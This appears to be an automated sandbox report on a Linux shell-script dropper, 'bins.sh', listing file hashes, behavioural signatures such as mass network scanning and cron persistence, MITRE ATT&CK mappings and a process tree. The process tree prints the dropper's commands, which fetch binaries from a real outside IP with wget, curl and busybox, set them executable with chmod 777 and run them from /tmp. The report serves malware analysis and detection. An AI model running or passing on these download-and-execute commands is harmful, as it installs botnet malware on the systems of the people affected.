Analysis
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max time kernel
150s -
max time network
154s -
platform
debian-9_armhf -
resource
debian9-armhf-20240611-en -
resource tags
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submitted
24-11-2024 04:30
General
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Target
bins.sh
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Size
10KB
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MD5
df284d43c50345c61fb4802b4396a3b3
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SHA1
ce94f3d5873280df0c3479ecd725dead3d66b5d7
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SHA256
65bb3378f20346a669cf034ec3b3d7760f53296e957bd7a6d3e64bd9e0cd608c
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SHA512
3ed1bc581779962db46652c8e0bf1911156c49bc6b5310e7012e499cdcd8ba85876d11fae05c70e0fc4939828d3aa737bf3ff3d3d1ec4e77fa6d85c8460bb031
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SSDEEP
192:y5FjD5EdIO+SHL394wy2tQgL394wj0twjD5EdI3:y5K+SHL394wy6QgL394wjwO
Malware Config
Signatures
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Contacts a large (2037) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
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Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
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File and Directory Permissions Modification 1 TTPs 1 IoCs
Adversaries may modify file or directory permissions to evade defenses.
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Executes dropped EXE 1 IoCs
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Renames itself 1 IoCs
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Creates/modifies Cron job 1 TTPs 1 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
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Enumerates running processes
Discovers information about currently running processes on the system
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Checks CPU configuration 1 TTPs 1 IoCs
Checks CPU information which indicate if the system is a virtual machine.
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Reads runtime system information 64 IoCs
Reads data from /proc virtual filesystem.
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Writes file to tmp directory 3 IoCs
Malware often drops required files in the /tmp directory.
Processes
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/tmp/bins.sh/tmp/bins.sh1⤵
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/bin/rm/bin/rm bins.sh2⤵
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/usr/bin/wgetwget http://216.126.231.240/bins/U59jXOydvquUhHn4MKkSAbnLlVezXQJxQT2⤵
- Writes file to tmp directory
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/usr/bin/curlcurl -O http://216.126.231.240/bins/U59jXOydvquUhHn4MKkSAbnLlVezXQJxQT2⤵
- Checks CPU configuration
- Writes file to tmp directory
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/bin/busybox/bin/busybox wget http://216.126.231.240/bins/U59jXOydvquUhHn4MKkSAbnLlVezXQJxQT2⤵
- Writes file to tmp directory
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/bin/chmodchmod 777 U59jXOydvquUhHn4MKkSAbnLlVezXQJxQT2⤵
- File and Directory Permissions Modification
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/tmp/U59jXOydvquUhHn4MKkSAbnLlVezXQJxQT./U59jXOydvquUhHn4MKkSAbnLlVezXQJxQT2⤵
- Executes dropped EXE
- Renames itself
- Reads runtime system information
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/bin/shsh -c "crontab -l"3⤵
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/usr/bin/crontabcrontab -l4⤵
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/bin/shsh -c "crontab -"3⤵
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/usr/bin/crontabcrontab -4⤵
- Creates/modifies Cron job
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/bin/rmrm U59jXOydvquUhHn4MKkSAbnLlVezXQJxQT2⤵
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/usr/bin/wgetwget http://216.126.231.240/bins/gFfQeXnyA0slYHWDWAt3QOGdl0H6zzPSCM2⤵
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/usr/bin/curlcurl -O http://216.126.231.240/bins/gFfQeXnyA0slYHWDWAt3QOGdl0H6zzPSCM2⤵
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Network
MITRE ATT&CK Enterprise v15
Defense Evasion
File and Directory Permissions Modification
1Linux and Mac File and Directory Permissions Modification
1Virtualization/Sandbox Evasion
1System Checks
1Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
141KB
MD53ca8decdb1e52c423c521bfff02ac200
SHA18621ecd6807109b8541912ad9e134f6fb49bfd48
SHA256dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f
SHA512b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a
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Filesize
210B
MD586fefeea6c6f64812c9acf65e3be7738
SHA1b8a70aad8d4bbf8ccdd471cfdf7f6e12d9e0c9be
SHA2565208280af02ce15ad2290970ee2fd17f6908d0e0aa11fc7026dda694797caa12
SHA512284642cb50126997a5f523fa2c5871347307dc9b5c7fd86de8dc9a1ea2a7b5c1ab895ad94c567ea45a423d0e175f799512f1879e7fc2561c93b55ddc739666b8